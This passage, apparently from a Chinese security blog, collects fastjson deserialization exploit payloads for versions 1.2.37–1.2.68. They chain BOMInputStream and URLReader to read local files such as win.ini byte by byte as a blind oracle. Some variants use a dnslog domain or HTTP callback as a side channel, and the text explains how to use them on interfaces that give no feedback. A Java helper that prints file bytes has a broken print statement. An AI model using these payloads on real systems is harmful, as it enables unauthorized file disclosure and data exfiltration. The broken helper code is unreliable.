修改4.1.2.1中最后一步为如下payload:
{"@type":"java.io.InputStream","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"java.util.Locale","language":"http://127.0.0.1:8085/?test","country":{"@type":"java.lang.String"[{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"C:/Users/whoami/Desktop/testtest.txt"}]}}},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98]}]}
我这里demo复现是成功的,但是靶场没有成功,如果有兄弟成功了可以公众号后台直接发消息,我看到立马就会回复,并将这部分在我的博客中更新。
4.2 fastjson【1.2.37<=version<=1.2.68】4.2.1 blackhat2021-getBom()原版(适用场景有限)payload42:
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///C:/Windows/win.ini"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
59
]
}
]
},
"address" : {"$ref":"$.abc.BOM"}
}
它会拿win.ini的内容转成int数组,然后拿ByteOrderMark里的bytes挨个字节遍历去比对,如果遍历过程有比对错误的getBom就会返回一个null,如果遍历结束,没有比对错误那就会返回一个ByteOrderMark对象。所以这里文件读取成功的标志应该是getBom返回结果不为null。
有点sql注入中布尔盲注的味道,哈哈。
附上读取文件内容到字节数组的代码:
import java.io.FileReader;
import java.io.IOException;
public class str2bytes {
public static String fileToString(String path) throws IOException {
FileReader reader = new FileReader(path);
StringBuilder stringBuilder = new StringBuilder();
char[] buffer = new char[10];
int size;
while ((size = reader.read(buffer)) != -1) {
stringBuilder.append(buffer, 0, size);
}
return stringBuilder.toString();
}
public static void main(String[] args) throws IOException {
String str = fileToString("C:\\Windows\\win.ini");
byte[] byteArray = str.getBytes("UTF-8");
boolean first = true;
for (byte b : byteArray) {
int intValue = b & 0xFF;
if (first) {
System.out.print(intValue);
first = false;
} else {
System.out.print(", " intValue);
}
}
}
}
//59, 32, 102, 111, 114, 32, 49, 54, 45, 98, 105, 116, 32, 97, 112, 112, 32, 115, 117, 112, 112, 111, 114, 116, 13, 10, 91, 102, 111, 110, 116, 115, 93, 13, 10, 91, 101, 120, 116, 101, 110, 115, 105, 111, 110, 115, 93, 13, 10, 91, 109, 99, 105, 32, 101, 120, 116, 101, 110, 115, 105, 111, 110, 115, 93, 13, 10, 91, 102, 105, 108, 101, 115, 93, 13, 10, 91, 77, 97, 105, 108, 93, 13, 10, 77, 65, 80, 73, 61, 49, 13, 10
4.2.2 blackhat2021-getBom()浅蓝师傅改版(几乎适配所有场景)
payload43:
{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///C:/Users/whoami/Desktop/testtest.txt"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM[0]"},"start":0,"end":0},"xxx":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://testhhh.okdplvnqdu.dgrh3.cn/"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[1]}]},"zzz":{"$ref":"$.xxx.BOM[0]"}}
极端场景:有一个接口,用fastjson解析了json,但不会反馈任何能够作为状态判断的标识,连异常报错的信息都没有。
那么此时该payload就可以派上用场了,如果以上poc收到了dnslog响应,那么说明字节码比对失败,也就是第一个字节的int值不等于我们填入的那个数字(比如这里的98,此时我们就得更改数字继续测试);如果没收到,说明比对成功,继续测试即可。
4.2.3 blackhat2021-getBom() tyskill师傅改版(几乎适配所有场景)payload44:
{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///C:/Users/whoami/Desktop/testtest.txt"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98,]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://192.168.161.4:8085/"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"$ref":"$.abc.BOM[0]"}]},"xxx":{"$ref":"$.address.BOM[0]"}}
该payload是浅蓝师傅的payload的改版,主要区别在于这个是dnslog或者http服务有响应说明字节码比对成功,和浅蓝的那个是反着来的。